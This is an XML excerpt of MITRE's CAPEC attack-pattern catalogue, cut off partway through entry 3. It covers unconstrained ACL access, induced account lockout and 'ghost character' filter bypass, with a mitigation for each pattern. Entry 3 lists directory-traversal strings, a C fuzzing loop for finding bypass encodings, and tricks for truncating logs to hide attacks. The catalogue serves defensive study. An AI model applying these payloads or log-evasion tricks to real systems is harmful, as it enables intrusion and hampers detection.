<?xml version="1.0" encoding="UTF-8"?>
<Common_Attack_Pattern_Enumeration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://capec.mitre.org/data/xsd/ap_schema_v1.8.1.xsd">
	<Attack_Pattern CAPEC_ID="1" Name="Accessing Functionality Not Properly Constrained by ACLs" Pattern_Abstraction="Standard">
		<Description>
			<Summary>In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the application deployer failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Survey</Attack_Step_Title>
						<Attack_Step_Description>The attacker surveys the target application, possibly as a valid and authenticated user</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Spidering web sites for all available links</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Brute force guessing of resource names</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Brute force guessing of user names / credentials</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Brute force guessing of function names / actions</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c1s1i1" type="Positive">
							<Indicator_Description>ACLs or other access control mechanisms are present in the software</Indicator_Description>
							<Environments>env-Web env-ClientServer</Environments>
						</Indicator>
						<Indicator ID="c1s1i2" type="Positive">
							<Indicator_Description>User IDs or other credentials are present in the software</Indicator_Description>
							<Environments>env-Web env-ClientServer</Environments>
						</Indicator>
						<Indicator ID="c1s1i3" type="Positive">
							<Indicator_Description>Operating modes with different privileges are present in the software</Indicator_Description>
							<Environments>env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Identify Functionality</Attack_Step_Title>
						<Attack_Step_Description>At each step, the attacker notes the resource or functionality access mechanism invoked upon performing specific actions</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use the web inventory of all forms and inputs and apply attack data to those inputs.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a packet sniffer to capture and record network traffic</Attack_Step_Technique_Description>
							<Environments>env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Execute the software in a debugger and record API calls into the operating system or important libraries. This might occur in an environment other than a production environment, in order to find weaknesses that can be exploited in a production environment.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c1s2o1" type="Success">The attacker produces a list of functionality or data that can be accessed through the system.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Iterate over access capabilities</Attack_Step_Title>
						<Attack_Step_Description>Possibly as a valid user, the attacker then tries to access each of the noted access mechanisms directly in order to perform functions not constrained by the ACLs.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Fuzzing of API parameters (URL parameters, OS API parameters, protocol parameters)</Attack_Step_Technique_Description>
							<Environments>env-Web env-Local env-Embedded env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c1s3i1" type="Negative">
							<Indicator_Description>Attempts to create a catalog of access mechanisms and data have failed.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c1s3o1" type="Success">Functionality is accessible to unauthorized users.</Outcome>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The application must be navigable in a manner that associates elements (subsections) of the application with ACLs.</Attack_Prerequisite>
			<Attack_Prerequisite>The various resources, or individual URLs, must be somehow discoverable by the attacker</Attack_Prerequisite>
			<Attack_Prerequisite>The deployer must have forgotten to associate an ACL or has associated an inappropriately permissive ACL with a particular navigable resource.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Implementing the Model-View-Controller (MVC) within Java EE's Servlet paradigm using a "Single front controller" pattern that demands that brokered HTTP requests be authenticated before hand-offs to other Action Servlets. 
				
				If no security-constraint is placed on those Action Servlets, such that positively no one can access them, the front controller can be subverted.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: In order to discover unrestricted resources, the attacker does not need special tools or skills. He only has to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>No special resources are required for the exploit of this pattern.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>In the case of web applications, use of a spider or other crawling software can allow an attacker to search for accessible pages not beholden to a security constraint.</Probing_Technique>
			<Probing_Technique>More generally, noting the target resource accessed upon performing specific actions drives an understanding of the resources accessible from the current context.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>In a J2EE setting, deployers can associate a role that is impossible for the authenticator to grant users, such as "NoAccess", with all Servlets to which access is guarded by a limited number of servlets visible to, and accessible by, the user. 

			Having done so, any direct access to those protected Servlets will be prohibited by the web container. 

			In a more general setting, the deployer must mark every resource besides the ones supposed to be exposed to the user as accessible by a role impossible for the user to assume. The default security setting must be to deny access and then grant access only to those resources intended by business logic.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>The context of this pattern's applicability is most likely a web-based application, subject to an authorization framework.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>285</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>276</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>721</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>All resources must be constrained to be inaccessible by default followed by selectively allowing access to resources as dictated by application and business logic</Relevant_Security_Requirement>
			<Relevant_Security_Requirement>In addition to a central controller, every resource must also restrict, wherever possible, incoming accesses as dictated by the relevant ACL.</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Failing Securely</Related_Security_Principle>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
			<Related_Security_Principle>Reluctance To Trust</Related_Security_Principle>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Use Authorization Mechanisms Correctly</Related_Guideline>
			<Related_Guideline>Design Configuration Subsystems Correctly and Distribute Safe Default Configurations</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>John Steven</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-10</Submission_Date>
				<Submission_Comment>Initial core pattern content</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Chiradeep B. Chhaya</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-23</Modification_Date>
				<Modification_Comment>Fleshed out pattern with extra content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Attack Execution Flow, Attack Prerequisites, Examples and Solutions</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Paco Hope</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-20</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="2" Name="Inducing Account Lockout" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user.  Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts.  An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account.  The weakness that is being leveraged by an attacker is the very security feature that has been put  in place  to counteract attacks.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Investigate account lockout behavior of system</Attack_Step_Title>
						<Attack_Step_Description>Investigate the security features present in the system that may trigger an account lockout</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Analyze system documentation to find list of events that could potentially cause account lockout</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c2s1i1" type="Positive">
							<Indicator_Description>System provides error message stating that account being attacked is locked out.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Indicator ID="c2s1i2" type="Positive">
							<Indicator_Description>After a certain number of login attempts with a given user ID, the amount of time it takes for system to respond to further login attempts changes noticably.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Indicator ID="c2s1i3" type="Negative">
							<Indicator_Description>System has no automatic signup mechanism, and system provides no indication as to whether the attacker is entering incorrect credentials or the account is locked out during the login process.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Outcome ID="c2s1o1" type="Success">Attacker determines at least one way to lock out accounts.</Outcome>
						<Outcome ID="c2s1o2" type="Failure">System provides no indication that account lockouts are possible</Outcome>
						<Security_Control ID="c2s1sc1" type="Detective">Repeated failed login attempts in application/system logs.</Security_Control>
						<Security_Control ID="c2s1sc2" type="Preventative">Do not provide any indication to users that their accounts are locked out. Provide a simple error message such as: "Login failed. Try again or contact your administrator" regardless of why a login attempt fails.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Obtain list of user accounts to lock out</Attack_Step_Title>
						<Attack_Step_Description>Generate a list of valid user accounts to lock out</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain list of authorized users using another attack pattern, such as SQL Injection.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Attempt to create accounts if possible; system should indicate if a user ID is already taken.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c2s2i1" type="Positive">
							<Indicator_Description>System indicates which user IDs are valid and which are not to unauthenticated users.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Outcome ID="c2s2o1" type="Success">Attacker gathers list of user IDs</Outcome>
						<Outcome ID="c2s2o2" type="Inconclusive">Attacker is unable to gather list of valid user IDs; attacker may still be able to lock out accounts by blindly guessing user IDs and performing a lockout procedure with each one.</Outcome>
						<Security_Control ID="c2s2sc1" type="Preventative">Avoid providing any indication regarding the validity of user IDs upon failed login attempts. Provide a simple error message such as: "Login failed. Try again or contact your administrator" regardless of why a login attempt fails.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Lock Out Accounts</Attack_Step_Title>
						<Attack_Step_Description>Perform lockout procedure for all accounts that the attacker wants to lock out.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>For each user ID to be locked out, perform the lockout procedure discovered in the first step.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c2s3i1" type="Positive">
							<Indicator_Description>Success outcome in first step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Indicator ID="c2s3i2" type="Negative">
							<Indicator_Description>Failure outcome in first step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Outcome ID="c2s3o1" type="Success">Amount of work required by an attacker to lock out a large number of accounts is at least an order of magnitude smaller than the amount of work required to unlock the accounts thereafter.</Outcome>
						<Outcome ID="c2s3o2" type="Failure">The large amount of work required by an attacker to lock out a large number of accounts makes this an unattractive attack.</Outcome>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The system has a lockout mechanism.</Attack_Prerequisite>
			<Attack_Prerequisite>An attacker must be able to reproduce behavior that would result in an account being locked.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Medium</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Flooding</Method_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A famous example of this type an attack is the eBay attack.  eBay always displays the user id of the highest bidder.  In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time.  An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out.   Thus an attacker could win the auction.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Computer with access to the login portion of the target system</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Implement intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.</Solution_or_Mitigation>
			<Solution_or_Mitigation>When implementing security features, consider how they can be misused and made to turn on themselves.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>400</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Source>
			<Submission>
				<Submitter>Eugene Lebanidze</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-26</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-01</Modification_Date>
				<Modification_Comment>Review and revision of content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Description and Solutions</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="3" Name="Using Leading 'Ghost' Character Sequences to Bypass Input Filters" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>An attacker intentionally introduces leading characters that enable getting the input past the filters.  The API that is being targetted, ignores the leading "ghost" characters, and therefore processes the attacker's input.  This occurs when the targetted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targetted API.

			Some APIs will strip certain leading characters from a string of parameters. Perhaps these characters are considered redundant, and for this reason they are removed. Another possibility is the parser logic at the beginning of analysis is specialized in some way that causes some characters to be removed. The attacker can specify multiple types of alternative encodings at the beginning of a string as a set of probes.
			
			One commonly used possibility involves adding ghost characters&#8212;extra characters that don't affect the validity of the request at the API layer. If the attacker has access to the API libraries being targeted, certain attack ideas can be tested directly in advance. Once alternative ghost encodings emerge through testing, the attacker can move from lab-based API testing to testing real-world service implementations.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Determine if the source code is available and if so, examine the filter logic.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>If the source code is not available, write a small program that loops through various possible inputs to given API call and tries a variety of alternate (but equivalent) encodings of strings with leading ghost characters.  Knowlege of frameworks and libraries used and what filters they apply will help to make this search more structured.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Observe the effects.  See if the probes are getting past the filters.  Identify a string that is semantically equivalent to that which an attacker wants to pass to the targeted API, but syntactically structured in a way as to get past the input filter.  That encoding will contain certain ghost characters that will help it get past the filters.  These ghost characters will be ignored by the targeted API.			</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Once the "winning" alternate  encoding using (typically leading) ghost characters is identified, an attacker can launch the attacks against the targetted API (e.g. directory traversal attack, arbitrarary shell command execution, corruption of files)</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The targetted API must ignore the leading ghost characters that are used to get past the filters for the semantics to be the same.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Medium</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Alternate Encoding with Ghost Characters in FTP and Web Servers

				Some web and FTP servers fail to detect prohibited upward directory traversals if the user-supplied pathname contains extra characters such as an extra leading dot.  For example, a program that will disallow access to the pathname "../test.txt" may erroneously allow access to that file if the pathname is specified as ".../test.txt".  This attack succeeds because 1) the input validation logic fails to detect the triple-dot as a directory traversal attempt (since it isn't dot-dot), 2) some part of the input processing decided to strip off the "extra" dot, leaving the dot-dot behind.
				
				Using the file system API as the target, the following strings are all equivalent to many programs:
				
				.../../../test.txt
				............/../../test.txt
				..?/../../test.txt
				..????????/../../test.txt
				../test.txt
				
				As you can see, there are many ways to make a semantically equivalent request. All these strings ultimately result in a request for the file ../test.txt.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Perform white list rather than black list input validation.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Canonicalize all data prior to validation.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Take an iterative approach to input validation (defense in depth).</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Building "Equivalent" Requests

		A large number of commands are subject to parsing or filtering. In many cases a filter only considers one particular way to format a command. The fact is that the same command can usually be encoded in thousands of different ways. In many cases, an alternative encoding for the command will produce exactly the same results as the original command. Thus, two commands that look different from the logical perspective of a filter end up producing the same semantic result. In many cases, an alternatively encoded command can be used to attack a software system, because the alternative command allows an attacker to perform an operation that would otherwise be blocked.
		
		Mapping the API Layer
		
		A good approach to help identify and map possible alternate encodings involves writing a small program that loops through all possible inputs to a given API call. This program can, for example, attempt to encode filenames in a variety of ways. For each iteration of the loop, the "mungified" filename can be passed to the API call and the result noted.
		
		The following code snippet loops through many possible values that can be used as a prefix to the string \test.txt. Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack.
		
		int main(int argc, char* argv[])
		{
		   for(unsigned long c=0x01010101;c != -1;c++)
		   {
		        char _filepath[255];
		        sprintf(_filepath, &quot;%c%c%c%c\\test.txt&quot;, c &gt; 24, c &gt; 16, c &gt; 8, c&amp;0x000000FF );
		
		        try
		       {
		       FILE *in_file = fopen(_filepath, &quot;r&quot;);
		
		       if(in_file)
		      {
		             printf(&quot;checking path %s\n&quot;, _filepath);
		             puts(&quot;file opened!&quot;);
		             getchar();
		             fclose(in_file);
		      }
		      }
		      catch(...)
		     {
		
		     }
		  }
		  return 0;
		}
		
		Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this:
		
		sprintf(_filepath, &quot;..%c\\..%c\\..%c\\..%c\\scans2.txt&quot;, c, c, c, c);
		
		A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call.
		
		Drawing on the techniques described in Chapter 5 of "Exploiting Software: How to Break Code" (See reference - G. Hoglund and G. McGraw) , we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that
		are very likely to show up in the terminal's execution:
		
		write(&quot;echo hey!\x08\x08&quot;);
		
		When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for
		example, %00 or &apos;\0&apos;) or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost.
		
		Ghost Characters
		
		Ghost characters are extra characters that can be added to a request. The extra characters are designed not to affect the validity of the request. One easy example involves adding extra slashes to a filename. In many cases, the strings
		
		/some/directory/test.txt
		
		and
		
		/////////////////some/////////////directory//////////////test.txt
		
		are equivalent requests.		
		
		From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Context_Description>
		<Injection_Vector>Web Form, URL, Network Socket, File</Injection_Vector>
		<Payload>The payload is the parameter that an attacker is supplying to the targetted API that will allow the attacker to elevate privilege and subvert the authorization service.</Payload>
		<Activation_Zone>The targetted API is the activation zone.  These attacks often target the file system or the shell to execute commands.</Activation_Zone>
		<Payload_Activation_Impact>Failure in authorization service may lead to compromises in data confidentiality and integrity.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>173</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>41</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>172</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>171</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>179</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>180</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>181</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>183</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>184</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>707</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Defense in Depth</Related_Security_Principle>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Perform input validation and filtering on data in its canonical form.</Related_Guideline>
			<Related_Guideline>Understand the APIs to which user input will be passed and know how permissive they are.  Perform appropriate input validation given that information.</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Low</Confidentiality_Impact>
			<Integrity_Impact>Low</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley,	 February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eugene Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-26</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
